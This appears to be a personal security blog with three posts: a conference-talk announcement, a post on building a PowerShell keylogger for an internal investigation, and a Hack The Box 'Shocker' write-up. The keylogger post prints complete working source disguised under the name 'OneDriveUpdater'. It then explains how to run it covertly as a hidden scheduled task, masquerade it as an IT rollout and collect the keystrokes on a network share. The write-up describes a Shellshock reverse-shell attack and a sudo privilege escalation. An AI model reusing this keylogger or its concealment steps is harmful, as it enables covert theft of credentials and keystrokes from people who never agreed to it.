HouSecCon 2019 Talk

Been a long time since I’ve updated this site, but finally got around to having time to add my con talk here.

I spoke at HouSecCon 2019 about my experience building out an offensive security department for my global energy company. It was a fun experience, and I felt that I had fewer walkouts than some of the other talks I attended, so success! Shout out to @altazvalani for the help and guidance.

Slideshare link here for slides. Vimeo link here for the actual talk.

Looking forward to doing more talks. I really believe in giving back to the infosec community and sharing with others what has and hasn’t worked for me in this crazy game. Now to just keep that imposter syndrome at bay…

Practical Application of Keylogger for IR

Background

As part of a recent internal investigation, we identified a need for a keylogger to grab some creds off a corporate laptop. After getting the necessary approvals lined up and documented, I started looking into how we might potentially do this.

This isn’t a standard pentest/offensivesec engagement where we needed to gain access first, since we already had local admin as part of standard sysadmin access. So we jumped straight into “exploit development”. Did a quick Google of keyloggers and found the usual candidates. Powershell would work for us in this scenario since we controlled antivirus and script execution settings, so we proceeded down this path.

Googlefu yielded several candidates, and I’ll talk through the rationale / evolution of what happened for us with the four Powershell keyloggers we used: simple keylogger, Powersploit, Nishang, and Shima’s.

Possible Solutions

“simple keylogger” : https://gist.github.com/dasgoll/7ca1c059dd3b3fbc7277

I initially found this keylogger as the fourth hit on Google. After quickly reviewing the code and getting familiar, this seemed like it would work for us. I particularly liked the fact this had 1) documented coded (yay) and 2) had good hooks for debugging (console writes, opening file at the end). Gave a good structure to quickly iterate through.

I’ll speak later about our deployment, but the main challenge with this script was the fidelity of results that it returned. In our test deployment, we observed that keypresses were being dropped and it generally gave inconsistent results. It improved as the Start-Sleep -Milliseconds 40 timer was reduced, but Powershell CPU usage went way up (at value=1, CPU util=25%). That’d be super noticable (cue fan noise) and the accuracy of keystroke capture still wasn’t high enough. So we dropped this and started looking for alternative measures.

So that took me to Powersploit’s Get-Keystrokes. I’ve used other Powersploit modules, but never this one so figured I’d give it a shot and it’d be a slam dunk. Did some quick modifications to suit our environment. But when executed, output was just the header “TypedKey”,”WindowTitle”,”Time” but no keys captured. I’m no Powershell expert, so after ~10 minutes of fiddling, decided I’d see if there were other options and return to this if I couldn’t find another alternative.

Alright well if Powersploit isn’t going to work, let’s check out the nishang option. The persistence features and web based upload are pretty cool for pentest engagements, but not necessarily needed for this endeavor. Making the modifications to bring storage back internal seemed to be more intense, so after about 5 minutes on looking at this, went back to Google for something closer to endstate (because I’m lazy).

So then stumbled upon Shima’s keylogger. This was succinct enough that it would do the trick! Testing this quickly showed promise, but the output file listed each character on its own line. Since English is left to right readstyle, and I really didn’t want to write another script to post-process this file, I looked at options of fixing this. Output was based on

 Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject $mychar.ToString()

and there’s a great argument -NoNewline that looked promising from https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/out-file?view=powershell-6. Whipped that together and deployed on the test box, but quickly was back to the drawing board because this argument is a Powershell 5.0 feature, and the target was still on 2.0.

So to get around this, I figured let’s just build a string buffer with the inputs and write whenever we get an enter. A bit hacky, but should work fine and writing the buffer upon carriage return to the output file will suit our needs. Not being a Powershell guru, took some time to finally identify how to flag a carriage return with the converted keystate, but after consulting an Ascii table (like https://ss64.com/ascii.html) and testing 10 (line feed) and 13 (carriage return), we had a winner. So final code looked like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
function OneDriveUpdater {
$logfile = "$env:temp\key.log"
$MAPVK_VK_TO_VSC = 0x00
$MAPVK_VSC_TO_VK = 0x01
$MAPVK_VK_TO_CHAR = 0x02
$MAPVK_VSC_TO_VK_EX = 0x03
$MAPVK_VK_TO_VSC_EX = 0x04
$virtualkc_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
'
@
$kbstate_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
'
@
$mapchar_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'
@
$tounicode_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'
@
$getKState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
$getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
$getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
$getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru
$bufferString = ""
while ($true) {
Start-Sleep -Milliseconds 40
$validator = ""

for ($char = 1; $char -le 254; $char++) {
$vkey = $char
$validator = $getKState::GetAsyncKeyState($vkey)

if ($validator -eq -32767) {

$l_shift = $getKState::GetAsyncKeyState(160)
$r_shift = $getKState::GetAsyncKeyState(161)
$caps_lock = [console]::CapsLock

$scancode = $getKey::MapVirtualKey($vkey, $MAPVK_VSC_TO_VK_EX)

$kbstate = New-Object Byte[] 256
$checkkbstate = $getKBState::GetKeyboardState($kbstate)

$mychar = New-Object -TypeName "System.Text.StringBuilder";
$unicode_res = $getUnicode::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)

if ($unicode_res -gt 0) {
if ($mychar.ToString() -eq "`r") {
#debugging write output in case of error
Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject $bufferString.ToString()
$bufferString = ""
}
else {$bufferString = $bufferString + $mychar}
}
}
}
}
}

OneDriveUpdater

Deployment

For the deployment mechanism, we decided upon a scheduled task because we could connect to the endpoint remotely and we had local admin. So just pop open Scheduled Tasks, connect to endpoint remotely:

Create a task, and this is important, make sure to run it as the user. The script has to be run in the user’s context, otherwise you’ll get nothing.

 

Then another thing to note is the Action, we’ll kick powershell.exe but adding the flag -WindowStyle Hidden, which will result in a quick flicker of a powershell window but will quickly disappear. So either kick it off when the user isn’t around (afterhours) or make it a plausible looking script. We hijacked a current IT rollout to masquerade the script so it didn’t arouse too much suspicion.

The rest of the options are up to you: triggers, job ending/repeating, etc. We went with time kickoff in this particular example.

One final note is that we went with a network share location to store the files, a local filer that did the trick. Helps avoid the storage issue if the files get too large, and one less connection into the target’s box.

Conclusion

So that’s about a wrap. Was a useful exercise for us, got me more familiar with keylogger options on the cheap, since we don’t own a product that would do this for us.  And I wasn’t really in the mood to download a <insert nation-state here> backdoored keylogger. Anyway, hope this helped. Enjoy

Shocker – Hack The Box writeup

Been a while since I did a blog post, but figured I’d jump on the bandwagon of Hack The Box writeups for retired boxes. Got the message that Valentine was being released on 2018-02-17 and retiring Shocker, which was a nice little box that I had managed to own user and system. So I thought I’d writeup my approach and observations.

Run through a quick nmap, see what we’re working with. Since it’s an easy box, common ports should trigger something:

Ok, HTTP and SSH. Haven’t seen an SSH bruteforce attack vector be meaningful, so let’s look at the HTTP service:

Alright, cute jpeg. No other links. Let’s start brute force browsing. Whipping out dirb in this instance (it is what they teach you in OSCP).

Ya know, dirb isn’t the fastest. Which made me look for something else a bit more powerful than the “easy mode” dirb. (And just forget dirbuster, too flakey for me). Enter wfuzz. Switched over to this and watched the results fly by.

Hmm ok, no dice with a default wordlist with default settings. Not so easy peasey. So, let’s look at what we have: Apache webserver with URI of /cgi-bin/ , box name of Shocker, could this be Shellshock? Take a look through if you aren’t familiar, a good classic vuln, even on OWASP hitlist. So if the tool defaults didn’t work, let’s try refining our tools.

So we’re looking for CGI scripts. Referenced this site to remember how CGI worked. So looking for scripts with particular file extensions, could be .cgi or .pl. So ok, fire up the ol’ wfuzz again, let’s see.

Well crap, we continue to look. Google-fu deployed, and stumbled upon this site regarding bash scripts being able to be used. So let’s try .sh filetype:

Ah hah! User.sh, that’ll work. So time to fire up the exploit. I used Burpsuite Repeater for this, a bit easier than working CLI since I’m old and legally blind, GUI helps the ol’ eyes. Prepped this with a reverse bash shell payload ala Pentest Monkey’s cheatsheet.

Alright! We got user, onward and upwards. So let’s upload the standard Linux enumeration script via wget and a python SimpleHTTPServer. Running this, we see this snippet of interesting-ness:

So the line of attack is to get a perl script to read the contents of the flag file and just sudo it. Easy enough to whip up:

And that’s a wrap. Fun little box, enumeration is key. Thanks @hackthebox_eu and @mrb3n813!